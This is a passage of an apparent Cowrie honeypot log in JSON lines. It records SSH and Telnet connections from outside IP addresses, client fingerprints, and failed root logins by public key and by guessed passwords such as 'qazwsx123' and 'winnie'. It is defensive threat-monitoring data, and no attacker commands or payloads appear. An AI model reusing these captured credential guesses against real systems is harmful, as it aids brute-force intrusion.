dsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:05.613123Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:0b:cb:76:a9:ab:f9:8c:06:ce:ae:a5:ff:4f:7f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhHM1Qb84s4Nd5XMVsmeLxqgkZ1qKH6dmwLdXXlt1jfHqEqm1+EviwVMkIT+JXyi6En6Rn5+QcoEWX4+z2arerbiYJ+GFNXyF2jmn2N+p5jT5ax+FuWJmFnCE50s3kePJLnqNtQx2ow2aBjFDgZAaHkDdpv3w43Aml60lnXihefxIp0ra+DG/U7ql8Ihxv6dWwPCsMFL8JwCyzq0SZErjDVtXafLFPAxOKp7uOvSPqWHKuvu6tV8snU1W0V66Jg6LzWxjWDRMegHF4seA31i1Xm4B2SWCaLvcKLGqWQ8T5G5CeBZzw1oJN+BVqkv7F9HdHGNq3ZAIbhWHkfbL2m55r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:0b:cb:76:a9:ab:f9:8c:06:ce:ae:a5:ff:4f:7f:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:05.989230Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:0b:cb:76:a9:ab:f9:8c:06:ce:ae:a5:ff:4f:7f:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhHM1Qb84s4Nd5XMVsmeLxqgkZ1qKH6dmwLdXXlt1jfHqEqm1+EviwVMkIT+JXyi6En6Rn5+QcoEWX4+z2arerbiYJ+GFNXyF2jmn2N+p5jT5ax+FuWJmFnCE50s3kePJLnqNtQx2ow2aBjFDgZAaHkDdpv3w43Aml60lnXihefxIp0ra+DG/U7ql8Ihxv6dWwPCsMFL8JwCyzq0SZErjDVtXafLFPAxOKp7uOvSPqWHKuvu6tV8snU1W0V66Jg6LzWxjWDRMegHF4seA31i1Xm4B2SWCaLvcKLGqWQ8T5G5CeBZzw1oJN+BVqkv7F9HdHGNq3ZAIbhWHkfbL2m55r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:05.993141Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:c8:44:b5:d6:cb:47:34:36:60:7f:66:bb:bb:a4:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxuHPfE0jLSK/yy/kmcGoDaxRWlrxrQkO51ld+JJHPobTDBpMd1mPubJvaM8u0wc0V5hydBFHQo+pMnPi81qsblxHvk+obdcCs3zFq/T0bG3l7+tqMELZFQxhVrjFUFfM2sR44O5E4aRLFp76XCtzAlxsbYOENJ3pzJeDp5ParCUAzQRFYcN8waXvCdPsep7B5SJCP0pZVyUPIeeGoSwQEanM1AjW/vmRqPKr/C9Ew+NochXQqhe5sWI34u0Vgv/bl5wwnZWd3Qo3bTDPgk5Y8bZ2xJzVRW5HfdZY8Z419eaBwgBPL8KwobP2QTUcMM+uoiYFeKXre9DhLeRiY1dHnQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:c8:44:b5:d6:cb:47:34:36:60:7f:66:bb:bb:a4:db","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.073070Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:c8:44:b5:d6:cb:47:34:36:60:7f:66:bb:bb:a4:db","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxuHPfE0jLSK/yy/kmcGoDaxRWlrxrQkO51ld+JJHPobTDBpMd1mPubJvaM8u0wc0V5hydBFHQo+pMnPi81qsblxHvk+obdcCs3zFq/T0bG3l7+tqMELZFQxhVrjFUFfM2sR44O5E4aRLFp76XCtzAlxsbYOENJ3pzJeDp5ParCUAzQRFYcN8waXvCdPsep7B5SJCP0pZVyUPIeeGoSwQEanM1AjW/vmRqPKr/C9Ew+NochXQqhe5sWI34u0Vgv/bl5wwnZWd3Qo3bTDPgk5Y8bZ2xJzVRW5HfdZY8Z419eaBwgBPL8KwobP2QTUcMM+uoiYFeKXre9DhLeRiY1dHnQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.077014Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:0c:66:55:71:8a:f8:63:40:82:81:37:e2:d9:d7:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW6h7LnjcRs6YM0daeuUGrDmwxusdM1a1xHSrREDH/oG+o0Gq6GhX+B/rkfZiRmopX00KJXO/eVxCHMPZ/HRDrMi4EEtyJEH3ZKe1ytGnqfuEVbuHap3CofbU91GRbBaH+tskm7B3grahcU3LT/UQJWtSCTy/VT1DPjF9djyvQ9XlFuc1msevLi6zcpTmtDSBuyrxH3BtxR6qSUm9NZwWWJdjAuPg9+V75BrlZsrpG/18izkgUBhY0hSjQ1EvmMDNjyDTA9rWMwtW4u0ggRWtxRcsE54yE9iu+xMUABAeGJz2qwFtqgjWxTpAANBK18YHY3NeOa1Sypt760lN0Dj9x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:0c:66:55:71:8a:f8:63:40:82:81:37:e2:d9:d7:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.157262Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:0c:66:55:71:8a:f8:63:40:82:81:37:e2:d9:d7:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDW6h7LnjcRs6YM0daeuUGrDmwxusdM1a1xHSrREDH/oG+o0Gq6GhX+B/rkfZiRmopX00KJXO/eVxCHMPZ/HRDrMi4EEtyJEH3ZKe1ytGnqfuEVbuHap3CofbU91GRbBaH+tskm7B3grahcU3LT/UQJWtSCTy/VT1DPjF9djyvQ9XlFuc1msevLi6zcpTmtDSBuyrxH3BtxR6qSUm9NZwWWJdjAuPg9+V75BrlZsrpG/18izkgUBhY0hSjQ1EvmMDNjyDTA9rWMwtW4u0ggRWtxRcsE54yE9iu+xMUABAeGJz2qwFtqgjWxTpAANBK18YHY3NeOa1Sypt760lN0Dj9x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.161148Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:56:0f:e9:2e:49:62:c5:fb:82:24:90:27:be:1d:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAVDiNO18YwWi95FWvdPjPGEZALIEWErCR9BddEt1fby","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint da:56:0f:e9:2e:49:62:c5:fb:82:24:90:27:be:1d:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.251356Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:56:0f:e9:2e:49:62:c5:fb:82:24:90:27:be:1d:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAVDiNO18YwWi95FWvdPjPGEZALIEWErCR9BddEt1fby","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.255378Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:a8:f6:55:8d:2a:64:76:ed:68:62:d1:b2:f5:01:f8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINCwqepuwDATXldaHnMHux7iF/zc1nFBeNctvsUI+qDt","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 27:a8:f6:55:8d:2a:64:76:ed:68:62:d1:b2:f5:01:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.335683Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:a8:f6:55:8d:2a:64:76:ed:68:62:d1:b2:f5:01:f8","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINCwqepuwDATXldaHnMHux7iF/zc1nFBeNctvsUI+qDt","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.340060Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:06.422025Z","src_ip":"45.148.145.60","session":"7043b3d86397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":48122,"dst_ip":"10.17.0.5","dst_port":22,"session":"71ac75ca122c","protocol":"ssh","message":"New connection: 80.94.92.184:48122 (10.17.0.5:22) [session: 71ac75ca122c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:18.977238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:19.227840Z","src_ip":"80.94.92.184","session":"71ac75ca122c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:19.231509Z","src_ip":"80.94.92.184","session":"71ac75ca122c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"banxgg","password":"banxgg","message":"login attempt [banxgg/banxgg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:20.347137Z","src_ip":"80.94.92.184","session":"71ac75ca122c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00229406356812,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:21.200791Z","src_ip":"152.42.224.71","session":"f277a632a320","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:21.637098Z","src_ip":"80.94.92.184","session":"71ac75ca122c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":51338,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ec5a0304f5c","protocol":"telnet","message":"New connection: 213.108.3.46:51338 (10.17.0.5:23) [session: 2ec5a0304f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:30.223045Z"}
{"eventid":"cowrie.session.closed","duration":0.016350984573364258,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:30.239244Z","src_ip":"213.108.3.46","session":"2ec5a0304f5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.191.31","src_port":47028,"dst_ip":"10.17.0.5","dst_port":22,"session":"fad6c1d32df7","protocol":"ssh","message":"New connection: 170.106.191.31:47028 (10.17.0.5:22) [session: fad6c1d32df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:31.927873Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:31.932704Z","src_ip":"170.106.191.31","session":"fad6c1d32df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:31.999846Z","src_ip":"170.106.191.31","session":"fad6c1d32df7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:32.299700Z","src_ip":"170.106.191.31","session":"fad6c1d32df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:33.371407Z","src_ip":"170.106.191.31","session":"fad6c1d32df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":60238,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b5081e1222c","protocol":"ssh","message":"New connection: 109.237.96.109:60238 (10.17.0.5:22) [session: 3b5081e1222c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:49.719409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:49.724396Z","src_ip":"109.237.96.109","session":"3b5081e1222c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:49.818565Z","src_ip":"109.237.96.109","session":"3b5081e1222c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitalik","message":"login attempt [root/vitalik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:50.101199Z","src_ip":"109.237.96.109","session":"3b5081e1222c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:01:51.202770Z","src_ip":"109.237.96.109","session":"3b5081e1222c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.213","src_port":17596,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f872e12e128","protocol":"ssh","message":"New connection: 102.88.137.213:17596 (10.17.0.5:22) [session: 3f872e12e128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:11.813855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:11.818206Z","src_ip":"102.88.137.213","session":"3f872e12e128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:11.997025Z","src_ip":"102.88.137.213","session":"3f872e12e128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gny","message":"login attempt [root/gny] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:12.746906Z","src_ip":"102.88.137.213","session":"3f872e12e128","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:13.930006Z","src_ip":"102.88.137.213","session":"3f872e12e128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.56.3","src_port":47412,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b15367e7379","protocol":"ssh","message":"New connection: 103.115.56.3:47412 (10.17.0.5:22) [session: 9b15367e7379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:23.186250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:23.192368Z","src_ip":"103.115.56.3","session":"9b15367e7379","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:23.402477Z","src_ip":"103.115.56.3","session":"9b15367e7379","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"winnie","message":"login attempt [root/winnie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:24.218732Z","src_ip":"103.115.56.3","session":"9b15367e7379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:25.438148Z","src_ip":"103.115.56.3","session":"9b15367e7379","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58134,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e510db7b49b","protocol":"ssh","message":"New connection: 87.251.64.176:58134 (10.17.0.5:22) [session: 9e510db7b49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:02:27.619997Z"}
